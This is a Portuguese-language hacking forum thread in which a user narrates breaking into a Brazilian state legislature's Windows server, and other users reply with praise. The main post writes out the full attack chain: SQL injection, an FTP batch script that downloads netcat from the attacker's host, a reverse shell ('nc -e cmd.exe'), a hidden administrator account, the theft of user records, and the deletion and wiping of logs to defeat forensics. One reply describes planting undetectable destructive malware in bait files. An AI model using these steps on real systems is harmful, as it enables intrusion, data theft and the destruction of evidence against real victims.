Artigo Invasão & Manutenção e Evasão em Servidores Windows

[ShadowVDS]

Olá pessoal, hoje decide reportar um pentest que eu fiz para voces, hoje dia 4/4/2011 com inicio as 4:45 da madrugada e finalizado as 6:03 da manhã.

Primeiro escolhi um alvo para testar umas tecnicas de execução de código via xp_cmdshell por sql injection.

Alvo:

Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

Descrisão: Assembleia Legislativa do Estado do Amazonas, servidor governamental.

Area Vulneravel:

Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

Campo: id

Vunerabilidade: get sql injection

Após achar o site vulneravel, procedi sua exploração, fazer isso manualmente seria muito demorado, então resolvi utilizar uma ferramenta para automatizar a exploração. Utilizei o metasploit, mas existem milhares de outras ferramentas bem melhores como sqlmap, kerenci ou havij.

Explorando rapidamente consegui executar comandos de shell no sistema operacional, logo observei que o mssql estava rodando com o user system =D. Tendo acesso a shell precisava upar uma backdoor para ter um acesso melhor ao sistema, então pensei no netcat, mas como uparia ele? FTP!

Isso mesmo, mas já que só posso executar uma linha de comando na shell, como posso me logar num ftp, baixar e depois executar?

Respondendo:

Crie um script .bat para isso, a seguir a sequencia dos comandos:

echo open meuftp.com.br >> ftp.bat
echo user meuuser >> f.bat
echo passwd mypasswd >> ftp.bat
echo binary >> ftp.bat
echo get nc.exe >> ftp.bat
echo quit >> ftp.bat

Apos isso o que fiz? Executei o ftp.bat ? Não, a shell de comando não interpreta o contéudo diretamente, sendo necessário executar parametros especificos do própio ftp, segue os comandos:

H:\Windows\System32>ftp -i -n -v -s ftp.bat

O diretorio do sistema neste servidor era H e não C, assim ele baixou o netcat para a pasta system 32, apos isso foi só da um:

nc -e cmd.exe meuip 53

E no meu computador ouvindo na porta 53, logo aparece:

C:\Documents and Settings\lucas>>nc -l -vv -p 53
listening on [any] 53 ...
connect to [x.x.x.x] from ALEAM01 [x.x.x.x] 4939
Microsoft Windows [versão 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

H:\windows\system32>

Oba tenho acesso a uma shell de verdade =D

Agora quero acesso ao remote desktop para completar, mas como faço isso?

Primeiro crie um usuario:

C:\Documents and Settings\lucas>>nc -l -vv -p 53
listening on [any] 53 ...
connect to [x.x.x.x] from ALEAM01 [x.x.x.x] 4939
Microsoft Windows [versão 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

H:\windows\system32>net user shadow senha /add
Comando concluído com êxito.

Adicione o mesmo ao grupo de administradores para obter privilégios do mesmo.

H:\windows\system32>net localgroup administradores shadow /add
Comando concluído com êxito.

H:\windows\system32>net localgroup "Usuários da área de trabalho
remota" shadow /add

Apos isso percebi que não dava para acessa o remote desktop pelo "www.aleam.gov.br", então utilizei o comando netsh firewall

pra abrir a porta da area remota mas mesmo assim não funcionou, e agora? Então dei um "ipconfig /all" e percebe que o ip

desse servidor não batia com o mesmo ip do DNS Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar..., ae saquei que o servidor de DNS estava instalado na mesma

rede e era para onde estava me direcionado, la ele fazia a conexão para o servidor onde está as pastas do site e o banco de dados, que é o que eu tenho acesso, então só peguei o ip real do servidor sem ser o do servidor de DNS e acessei, sucesso!



Apos isso, tinha que apagar os logs, instalar backdoors e explorar a rede.

Vamos lah, primeiro nos logs, para eu poder apagar os logs tinha que saber quais serviços estão rodando e onde tão gravando os logs, então no cmd dei um netstat, aqui o resultado:

H:\Documents and Settings\shadow>net start

Estes serviços do Windows foram iniciados:

Agendador de tarefas
Ajuda e suporte
Armazenamento protegido
Atualizações Automáticas
Auxiliar NetBIOS TCP/IP
Chamada de procedimento remoto (RPC)
Cliente de rastreamento de link distribuído
Cliente DNS
Conexões de rede
Configuração sem fio
Coordenador de transações distribuídas
Detecção do hardware do shell
Erro ao informar o serviço
Estação de trabalho
Firewall do Windows/Compart. conexão c/ Internet (ICS) 
Fornecedor de suporte de segurança NT LM
Gerenciador de conexão de acesso remoto
Gerenciador de contas de segurança
Gerenciador de discos lógicos
HID Input Service
Horário do Windows
HTTP SSL
Inicializador de Processo de Servidor DCOM
Localizador de computadores
Log de eventos
LogMeIn 
LogMeIn Maintenance Service
Logon secundário
McAfee Framework 
McAfee McShield 
McAfee Task Manager 
Microsoft Search
MSSQLSERVER 
Notificação de eventos de sistema
Plug and Play
Reconhecimento de local da rede (NLA)
Registro remoto
Server
Serviço 'Gateway de camada de aplicativo'
Serviço de administração do IIS
Serviço de Busca de Experiência com Aplicativo
Serviço de indexação
Serviço de publicação na World Wide Web
Serviços de criptografia
Serviços de terminal
Serviços IPSEC
Sistema de Eventos de COM+ 
Spooler de impressão
Telefonia
Testador de instrumentação de gerenciam. do Windows
Windows Search
Áudio do Windows

Comando concluído com êxito.
H:\Documents and Settings\shadow>

Nesta lista reparei nos:

Firewall - Pois tem logs.

LogMeIn - Serviço de Acesso remoto possivelmente utilizado pelo admin, posso usar como backdoor.

MSSQLSERVER - Esse tem logs das execuções de comandos e das minhas consultas feitas por Sql Injection.

Serviços do Windows - Esse guarda log de tudo

Vamos lá, o primeiro a eu olhar foi o firewall, de bate com a cara na porta, ops quer dizer a porta tava escancarada na verdade, tava desativado, então eu o ativei e o configurei.

O LogMein eu estou a procura de um jeito de dar dump nas senhas, igual no vnc que la tem tamben, mas não estpa executando.

O SqlServer eu abrir o "Enterprise Manager" fui abrindo as configuraçoes quando cheguei a do sql peguei o caminho onde ficava os logs:

H:\Arquivos de programas\Microsoft SQL Server\MSSQL\LOG

Claro não posso apagar o logs, pois o sql server está sendo utilizo por eles, ainda mais que eu estava mexendo direto por ele, então abrir o cmd e digitei:

H:\Documents and Settings\shadow>net stop MSSQLSERVER
O serviço de MSSQLSERVER está sendo finalizado .
O serviço de MSSQLSERVER foi finalizado com êxito.
H:\Documents and Settings\shadow>

Mexendo um pouco no banco de dados rapido achei o erro do administrador:



Com rapidas consultas no banco de dados consegui uma lista de mais de 50 usuarios da assempleia legislativa do amazonas:



Sem nenhum tipo de criptografia nem nada, isso na mão de uma pessoa mal intencionada vale ouro.

Apois isso também tive que apaga os logs do IIS, claro, então primeiro eu parei o servico dando o comando:

net stop w3svc (nome do serviço do IIS)

Depois fui na pasta "H:\WINDOWS\system32\LogFiles" e apaguei tudo que la tinha. Depois reativei o serviço com o comando:

net start w3svc

Apois isso fui nos evendos do windows nas ferramentas administrativas e apagei todos eventos e diminuir o tamanho dos eventos para 64 k, quer dizer não grava praticamente nada.

Após tudo isso, ter mantido acesso, apagado logs, vocês acham que conseguem me localizar? Sim, pois os logs são recuperaveis,

mas como faço para apagar definitivamente? Existe programas para isso, a maioria dos programas de criptografia tem opção de limpar espaço free do computador, como o pgp, mas já que o admin tinha o ccleaner no servidor utilzei ele mesmo para apaga o espaço free do computador assim nem uma pericia consegue recuperar.



Dexei ele rodando um bom tempo, esse server ta praticamente abandonado, igual muitos estados do brasil.

È isso ae pessoal, depois disso posso durmi em paz sem medo da policia, para os espertinhos que espera acesso o servidor desativei a opçao de execução de comando, só alguem com bom conhecimento em sql vai conseguir ativar ela via sql inejction, e se conseguir ainda deixei ela pra se caso for utilizada usar usuario sem permisão nenhuma, coloquei o antivirus pra scanear a system32 tamben a cada 30 segundos, quer dizer ... vai ser difico pra voçes, ainda mas que eu não postei o ip real dele neh?

Depois vou posta a segunda parte do pentest que é eu explorando um servidor fedora via esse windows que peguei, o fedora é o firewall e servidor DNS que só da pra acessa via rede interna.

Fiz o video ficou bem grande, se pah vou posta só na priv8, ficou cool ele =D

Ate mais, qualquer duvida só posta.

[Faiatos]

Excelente, eu ainda tou estudando para depois explorar falhas...

[ShadowVDS]

Se eu posta-se como fazer invasão na porta 666 o povo ia se intereça muito mais ¬¬'

[areax]

ShadowVDS, não deixe que isso afete a qualidade do seu trabalho.
Continue assim com ótimos tópicos.
Posta o vídeo ai pro pessoal. (;

[jalves]

Excelente! estou iniciando agora, um dia chego nesse nivel .
Parabéns.

[warmachine]

Muito interessante shadow, mas de fato, acho interessante salientar sobre uma coisa, existem, pelo o que eu vi estava muito fácil, com tudo aberto, então eu acho que isso poderia ser uma honeypot, ou uma máquina virtual com as devidas configurações do servidor, mas seria um servidor irreal para apenas enganar o hacker. Eu particularmente além de usar o valhala honey pot, eu também uso uma máquina virtual totalmente vulnerável com senhas fracas e vulnerável a exploits onde possui uma lista de documentos e arquivos com datcons e vírus steganografados, onde estão dentro de outros arquivos. Tem um documento em word muito criativo que está dentro de uma pasta chamada Senhas e códigos - confidencial.doc. Com certeza todo hacker vai querer baixar este arquivo, quando o fizer o datcom que está junto com ele onde eu coloquei por meio do software the joiner, e que está indetectável por qualquer anti vírus, vai apagar todos os arquivos e desligar a máquina. O hacker ou cracker vai ter o trabalho de formatar seu computador, e se for um pc completo daí que vai complicar a sua vida mesmo. Eu ainda coloquei alguns datcoms e armadilhas para linux também, caso o pc dele esteja com linux.

Então como se trata de um site governamental, acho que está fácil demais, pode ser uma honeypot não acha? Se eu fosse administrador eu deixaria deste jeito, mas colocaria armadilhas por meio de steganografia + processos para tornar os vírus e datcoms indetectáveis.

De qualquer forma, este post é excelente, apenas acho que valhe a pena discutir se isso não foi uma aramadilha...

Abraços e congratulations...

[ShadowVDS]

impossivel ser um honeypot, os programadores do gorverno são ignorantes mesmo, eles nem sabe o que ´´e isso nem conheicmento pra isso, é vulneravel memso pois posso mudar a pagina (defacer) e ate quando eu parei o serviço do iis e do mssql o site ficou off durente apagava os logs.

[WarlockOwned]

Nossa, muito bom.
Ótimo trabalho, da até pra aprender rs.
Se for postar o video, posta pra todo mudo por favor, só priv8 é mancada kK

[Luck in Choosing]

eu so tenho uma coisa a dizer

quero ser igual a você quando crescer x)

[Marcelo Moraes]

ShadowVDS,

Ótimo post amigo!
Parabéns !

Att,
Marcelo Moraes.

[Dano]

pois é cara muito explicativo o post, mas só tem um erro. Você excluiu os logs, parece ser bom isso mas na verdade se eles usarem qualquer programa para recuperação de arquivos eles vão ter acesso aos logs. O certo não é apagar os logs, primeiro os sobreescreva e depois sim apague.

Abraço.

[ShadowVDS]

Dano se não reparou citei isso no final do post quando utilizei uma ferramenta deles mesmo (ccleaner) pra apagar o espaço livre do disco, o quer quer dizer ele sobrescreveu o disco, então fica encapaz de recuperar pois sobrescrevir 7 vezes na primeira, na segunda 25 vezes, o indicado é 1 vez ate 3 vezes tem como recuperar, mas 25 vezes acho dificil.

[ShadowVDS]

Dano utiliei uma tecnica de anti-forence, postei no topico no final, assim nao tem como recuperar os arquivos apagados.

[#Franco]

ShadowVDSgostei muito cara desse post
continue assim
valeu...aprendi muito

[=[ DiLLuViUM ]=]

Ótimo artigo ShadowVDS, que vergonha em, um computador do governo assim,
me lembra de um .gov que peguei uma vez, login: UAI senha: UAI, kkkk

Continue assim, se fosse outro cara ia ownar mais você deixou o server mais seguro.

Ate mais..